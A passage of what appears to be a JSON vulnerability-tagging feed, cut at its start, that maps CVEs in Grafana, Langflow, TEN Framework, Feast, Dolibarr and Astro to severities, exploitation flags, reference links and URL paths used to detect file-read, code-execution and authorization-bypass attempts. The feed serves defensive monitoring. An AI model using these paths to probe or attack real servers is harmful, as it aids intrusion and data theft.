Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-10-15T03:59:42.826724+00:00"}